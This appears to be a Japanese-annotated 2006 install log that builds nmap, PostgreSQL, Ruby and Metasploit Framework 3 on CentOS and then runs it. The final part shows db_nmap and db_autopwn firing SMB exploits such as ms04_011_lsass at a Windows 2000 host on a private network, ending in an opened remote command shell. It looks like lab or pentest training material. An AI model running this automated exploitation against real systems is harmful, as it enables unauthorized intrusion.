# cd /usr/local/src # wget http://freshmeat.net/redir/nmap/7202/url_bz2/nmap-4.11.tar.bz2 # tar xvjf nmap-4.11.tar.bz2 # cd nmap-4.11 # ./configure --without-nmapfe ※フロントエンドは無しでインストール(お好みで) # make && make install # # yum install subversion ※依存関係により apr,apr-util,neon もインストールされる #
# rpm -qa |grep postgresql ※RPMで PostgreSQL がインストールされていないことを確認する。 # すでに導入されている場合は「rpm -e xxx」で削除すること。 # groupadd postgres # useradd -g postgres -d /usr/local/pgsql postgres # passwd postgres # # cd /usr/local/src # wget http://www.ring.gr.jp/pub/misc/db/postgresql-jp/8.1.4/postgresql-8.1.4.tar.gz # tar xvzf postgresql-8.1.4.tar.gz # chown -R postgres:postgres postgresql-8.1.4 # su - postgres $ cd /usr/local/src/postgresql-8.1.4 $ ./configure --enable-multibyte=EUC_JP $ make all (snip) All of PostgreSQL successfully made. Ready to install. $ $ make check (snip) ====================== All 98 tests passed. ====================== (snip) $ $ make install (snip) PostgreSQL installation complete. $ $ cd $ vi .bash_profile
.bash_profile
以下を追加 export PATH=$PATH:/usr/local/pgsql/bin export POSTGRES_HOME=/usr/local/pgsql export PGLIB=$POSTGRES_HOME/lib export PGDATA=$POSTGRES_HOME/data export MANPATH="$MANPATH":$POSTGRES_HOME/man export LD_LIBRARY_PATH="$LD_LIBRARY_PATH":"$PGLIB"
$ source .bash_profile
$
$ initdb --encoding=EUC_JP --no-locale
The files belonging to this database system will be owned by user "postgres".
This user must also own the server process.
The database cluster will be initialized with locale C.
creating directory /usr/local/pgsql/data ... ok
creating directory /usr/local/pgsql/data/global ... ok
creating directory /usr/local/pgsql/data/pg_xlog ... ok
creating directory /usr/local/pgsql/data/pg_xlog/archive_status ... ok
creating directory /usr/local/pgsql/data/pg_clog ... ok
creating directory /usr/local/pgsql/data/pg_subtrans ... ok
creating directory /usr/local/pgsql/data/pg_twophase ... ok
creating directory /usr/local/pgsql/data/pg_multixact/members ... ok
creating directory /usr/local/pgsql/data/pg_multixact/offsets ... ok
creating directory /usr/local/pgsql/data/base ... ok
creating directory /usr/local/pgsql/data/base/1 ... ok
creating directory /usr/local/pgsql/data/pg_tblspc ... ok
selecting default max_connections ... 100
selecting default shared_buffers ... 1000
creating configuration files ... ok
creating template1 database in /usr/local/pgsql/data/base/1 ... ok
initializing pg_authid ... ok
enabling unlimited row size for system tables ... ok
initializing dependencies ... ok
creating system views ... ok
loading pg_description ... ok
creating conversions ... ok
setting privileges on built-in objects ... ok
creating information schema ... ok
vacuuming database template1 ... ok
copying template1 to template0 ... ok
copying template1 to postgres ... ok
WARNING: enabling "trust" authentication for local connections
You can change this by editing pg_hba.conf or using the -A option the
next time you run initdb.
Success. You can now start the database server using:
postmaster -D /usr/local/pgsql/data
or
pg_ctl -D /usr/local/pgsql/data -l logfile start
$
$ vi /usr/local/pgsql/data/postgresql.conf
/usr/local/pgsql/data/postgresql.conf
209行目を修正
209 log_destination = 'syslog' # Valid values are combinations of
210 # stderr, syslog and eventlog,
211 # depending on platform.
$ exit # # cp /usr/local/src/postgresql-8.1.4/contrib/start-scripts/linux /etc/init.d/postgresql # chmod 755 /etc/init.d/postgresql # chkconfig postgresql on # chkconfig --list |grep postgres postgresql 0:off 1:off 2:on 3:on 4:on 5:on 6:off # # /etc/init.d/postgresql start Starting PostgreSQL: ok #
# cd /etc/yum.repos.d/ # wget http://dev.centos.org/centos/4/CentOS-Testing.repo # yum --enablerepo=c4-testing install ruby ruby-libs ruby-devel ruby-mode ruby-docs rdoc irb ri # ruby -v ruby 1.8.4 (2005-12-24) [i386-linux] # # cd /usr/local/src/ # wget http://rubyforge.org/frs/download.php/11289/rubygems-0.9.0.tgz # tar xvzf rubygems-0.9.0.tgz # cd rubygems-0.9.0 # ruby setup.rb (snip) Successfully built RubyGem Name: sources Version: 0.0.1 File: sources-0.0.1.gem # # gem install activerecord Bulk updating Gem source index for: http://gems.rubyforge.org Install required dependency activesupport? [Yn] y Successfully installed activerecord-1.14.4 Successfully installed activesupport-1.3.1 Installing ri documentation for activerecord-1.14.4... Installing ri documentation for activesupport-1.3.1... Installing RDoc documentation for activerecord-1.14.4... Installing RDoc documentation for activesupport-1.3.1... # # gem install postgres -- --with-pgsql-dir=/usr/local/pgsql (snip) make clean Successfully installed postgres-0.7.1 # # gem install postgres-pr Bulk updating Gem source index for: http://gems.rubyforge.org Successfully installed postgres-pr-0.4.0 # # ruby -e 'require "rubygems"; require_gem "postgres";' ※エラーが表示されないことを確認 #
# cd # vi .bash_profile
.bash_profile
以下を追加 export PATH=$PATH:/usr/local/pgsql/bin export POSTGRES_HOME=/usr/local/pgsql export PGLIB=$POSTGRES_HOME/lib export PGDATA=$POSTGRES_HOME/data export MANPATH="$MANPATH":$POSTGRES_HOME/man export LD_LIBRARY_PATH="$LD_LIBRARY_PATH":"$PGLIB"
# source .bash_profile # # svn co http://metasploit.com/svn/framework3/trunk/ framework3 (snip) A framework3/data/meterpreter/metsrv.dll A framework3/data/templates A framework3/data/templates/template.exe A framework3/msfcli A framework3/BUGS.txt リビジョン 4048 をチェックアウトしました。 # # su - postgres $ createuser root Shall the new role be a superuser? (y/n) y CREATE ROLE $ $ exit #
# cd
# cd framework3
# ./msfconsole
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf >
msf > db_create
dropdb: database removal failed: ERROR: database "metasploit3" does not exist
CREATE DATABASE
ERROR: table "hosts" does not exist
NOTICE: CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE: CREATE TABLE / UNIQUE will create implicit index "hosts_address_key" for table "hosts"
ERROR: table "services" does not exist
NOTICE: CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
ERROR: table "vulns" does not exist
NOTICE: CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
ERROR: table "refs" does not exist
NOTICE: CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
NOTICE: CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs"
ERROR: table "vulns_refs" does not exist
msf > exit
#
# ./msfconsole
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres
msf >
msf > db_connect root:@localhost/metasploit3
msf > db_nmap -p 445 192.168.2.96
Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2006-10-18 17:53 JST
Interesting ports on 192.168.2.96:
PORT STATE SERVICE
445/tcp open microsoft-ds
Nmap finished: 1 IP address (1 host up) scanned in 0.138 seconds
msf >
msf > db_hosts
[*] Host: 192.168.2.96
msf >
msf > db_services
[*] Service: host=192.168.2.96 port=445 proto=tcp state=up name=microsoft-ds
msf >
msf > db_autopwn -h
[*] Usage: db_autopwn [options]
-t Show all matching exploit modules
-x Select modules based on vulnerability references
-p Select modules based on open ports
-e Launch exploits against all matched targets
-s Only obtain a single shell per target system
-r Use a reverse connect shell
-b Use a bind shell on a random port
-h Display this help text
msf >
msf > db_autopwn -p -t
[*] Analysis completed in 2.3719379901886 seconds (0 vulns / 0 refs)
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.2.96:445...
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.2.96:445...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.2.96:445...
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.2.96:445...
msf >
msf > db_autopwn -p -t -e
[*] Analysis completed in 0.684900999069214 seconds (0 vulns / 0 refs)
[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.2.96:445...
[*] Launching exploit/windows/smb/ms06_040_netapi (1/10) against 192.168.2.96:445...
[*] Started bind handler
[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.2.96:445...
[*] Launching exploit/windows/smb/ms05_039_pnp (2/10) against 192.168.2.96:445...
[*] Started bind handler
[*] Matched auxiliary/dos/windows/smb/ms06_035_mailslot against 192.168.2.96:445...
[*] Connecting to the SMB service...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms04_007_killbill against 192.168.2.96:445...
[*] Matched auxiliary/dos/windows/smb/rras_vls_null_deref against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 192.168.2.96:445...
[*] Launching exploit/windows/smb/ms03_049_netapi (7/10) against 192.168.2.96:445...
[*] Started bind handler
[*] Matched exploit/windows/smb/ms06_025_rras against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms06_025_rasmans_reg against 192.168.2.96:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.2.96:445...
[*] Launching exploit/windows/smb/ms04_011_lsass (10/10) against 192.168.2.96:445...
[*] Started bind handler
[*] Detected a Windows 2000 target
[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.2.96[\BROWSER] ...
[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.2.96[\browser] ...
[*] Binding to 6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.2.96[\BROWSER] ...
[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.2.96[\lsarpc]...
[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.2.96[\BROWSER] ...
[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.2.96[\browser] ...
[*] Building the stub data...
[*] Calling the vulnerable function...
[*] The server should have executed our payload
[*] Bound to 6bffd098-a112-3610-9833-46c3f87e345a:1.0@ncacn_np:192.168.2.96[\BROWSER] ...
[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.2.96[\lsarpc]...
[*] Building the stub data...
[*] Getting OS information...
[*] No target is available for Windows 2000 LAN Manager
[*] Trying to exploit Windows 2000 LAN Manager
[*] Calling the vulnerable function...
[*] Unexpected DCERPC fault 0x000006f7
[*] Calling the vulnerable function...
[*] Command shell session 1 opened (192.168.2.168:32928 -> 192.168.2.96:33558)
msf >
msf >
msf > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.2.168:32928 -> 192.168.2.96:33558
msf > sessions -i 1
[*] Starting interaction with 1...
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>exit
[*] Command shell session 1 closed.
msf > exit
#